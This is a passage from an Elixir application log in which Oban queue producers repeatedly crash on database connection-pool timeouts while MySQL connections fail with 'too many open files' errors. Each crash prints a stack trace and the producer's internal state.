State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:36:52.239217Z], limit: 50, uuid: "7fb03c01-dee2-4c27-a325-1ad7c489db4c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:52.239223Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254725>, refresh_timer: #Reference<0.2525715032.1121189889.125516>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:36:52.245523Z], limit: 5, uuid: "3be2e773-bb62-4e8a-8238-9e4c89211391", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:52.245528Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254722>, refresh_timer: #Reference<0.2525715032.1077411843.254714>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:36:52.238883Z], limit: 5, uuid: "0b2e4a25-b87c-447f-9390-13b3fc638d1d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:52.238889Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.125561>, refresh_timer: #Reference<0.2525715032.1121189889.125515>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:05.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:10.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:13.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:14.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:15.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:37:04.239080Z], limit: 3, uuid: "2a19f893-3c9c-471a-a90f-334a3d4a1971", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:04.239086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.20423>, refresh_timer: #Reference<0.2525715032.1068498948.20415>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:37:04.241079Z], limit: 5, uuid: "a84dcb45-209c-44be-a958-6fa6c110f6ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:04.241085Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.125766>, refresh_timer: #Reference<0.2525715032.1121189889.125762>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:37:04.237951Z], limit: 10, uuid: "53b6f13e-768c-4a90-bc13-0f8d74cc3726", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:04.237957Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.125768>, refresh_timer: #Reference<0.2525715032.1068498948.20394>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:37:04.238591Z], limit: 20, uuid: "def02ff8-f1ae-47aa-aa26-1b0a59c6c286", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:04.238597Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.125765>, refresh_timer: #Reference<0.2525715032.1121189889.125730>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:37:04.239271Z], limit: 5, uuid: "65e6d17f-0a49-4d5c-99d6-9a1df2121f3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:04.239276Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.125767>, refresh_timer: #Reference<0.2525715032.1099431938.24163>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:37:04.239026Z], limit: 50, uuid: "800c41ae-bf21-4c33-b2d5-81f86dc85713", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:04.239032Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.125769>, refresh_timer: #Reference<0.2525715032.1068498948.20412>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:17.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:23.617000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:26.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:26.808000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:26.970000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:28.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
